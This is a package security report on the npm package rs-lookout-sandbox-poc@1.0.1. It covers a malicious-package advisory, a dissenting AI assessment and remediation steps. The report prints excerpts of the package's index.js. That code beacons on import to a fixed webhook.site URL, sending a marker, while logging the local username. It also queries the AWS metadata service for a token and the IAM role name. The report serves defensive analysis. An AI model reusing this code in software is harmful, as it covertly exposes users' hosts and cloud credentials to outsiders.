rs-lookout-sandbox-poc@1.0.1
Environment checks for CI notes (reachability + identity names only).
OpenSSF/OSV Malicious Advisory
imported 2d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18109 confirms this npm version as malicious.
Advisory
MAL-2026-18109
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in rs-lookout-sandbox-poc (npm)
Details
On module load, index.js reads os.userInfo().username and issues an HTTPS GET to a hardcoded third-party collector at https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/, transmitting the installer's local username to an anonymous external endpoint. The same top-level code performs AWS Instance Metadata Service reconnaissance against 169.254.169.254: it PUTs /latest/api/token to obtain an IMDSv2 session token and then GETs /latest/meta-data/iam/security-credentials/ to enumerate the IAM role attached to the host. Both behaviors fire automatically when the package is required, with no caller action.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The entrypoint performs an unsolicited fixed-endpoint beacon and cloud metadata lookup on import, creating unresolved runtime risk. It does not fetch role credentials or transmit metadata results, so the evidence does not establish credential exfiltration or a concrete attack.
Static reason
One or more suspicious static signals were detected.
Trigger
Importing the package entrypoint, index.js.
Impact
The webhook receives the marker and can observe the request’s source address; metadata results are logged locally.
Mechanism
The entrypoint sends a random marker to webhook.site, requests a metadata token, and looks up the instance role name.
AI rationale
The entrypoint performs an unsolicited fixed-endpoint beacon and cloud metadata lookup on import, creating unresolved runtime risk. It does not fetch role credentials or transmit metadata results, so the evidence does not establish credential exfiltration or a concrete attack.
Evidence
package.jsonindex.js
Network endpoints2
webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/169.254.169.254
Independent scan evidence
public snapshotAI called this Suspicious at 88.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
- The manifest selects index.js as the package entrypoint and describes environment checks.
- Importing index.js logs a generated marker and username, then sends the marker to a fixed webhook.site endpoint.
- The entrypoint requests a cloud metadata token and uses it to look up the instance role name.
- The code explicitly stops before requesting the role’s credentials; it does not send the token or role response to the webhook.
Evidence against
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourceindex.jsView file
1const os=require('os'),http=require('http'),https=require('https');
L2: const marker='REVPOC-'+Math.random().toString(36).slice(2,10);
L3: console.log('OOM_EXEC_MARKER',marker,'user='+os.userInfo().username);
L4: try{https.get('https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/'+marker,r=>r.resume()).on('error',()=>{});}catch(e){}
L5: function call(method,path,headers){return new Promise(res=>{const req=http.request({host:'169.254.169.254',port:80,path,method,headers},r=>{let d='';r.on('data',c=>d+=c);r.on('end'...
L6: (async()=>{
High
Cloud Metadata Access
Source reaches cloud instance metadata or link-local credential endpoints.
index.jsView on unpkg · L13console.log('OOM_EXEC_MARKER',marker,'user='+os.userInfo().username);
try{https.get('https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/'+marker,r=>r.resume()).on('error',()
High
Ai Review Evidence
Importing index.js logs a generated marker and username, then sends the marker to a fixed webhook.site endpoint.
index.jsView on unpkg · L34https.get('https://webhook.site/553dad0e-c841-46a8-b07d-213b52a24686/'+marker,r=>r.resume()).on('error',()=>{});}catch(e){}
function call(method,path,headers){return new Promise(re
High
Ai Review Evidence
Findings
7 High1 Medium2 Low
HighCloud Metadata Accessindex.js
HighAi Review Evidencepackage.json
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to rs-lookout-sandbox-poc@1.0.1.
See all versions of rs-lookout-sandbox-poc for other recorded verdicts.
- Avoid installing rs-lookout-sandbox-poc@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.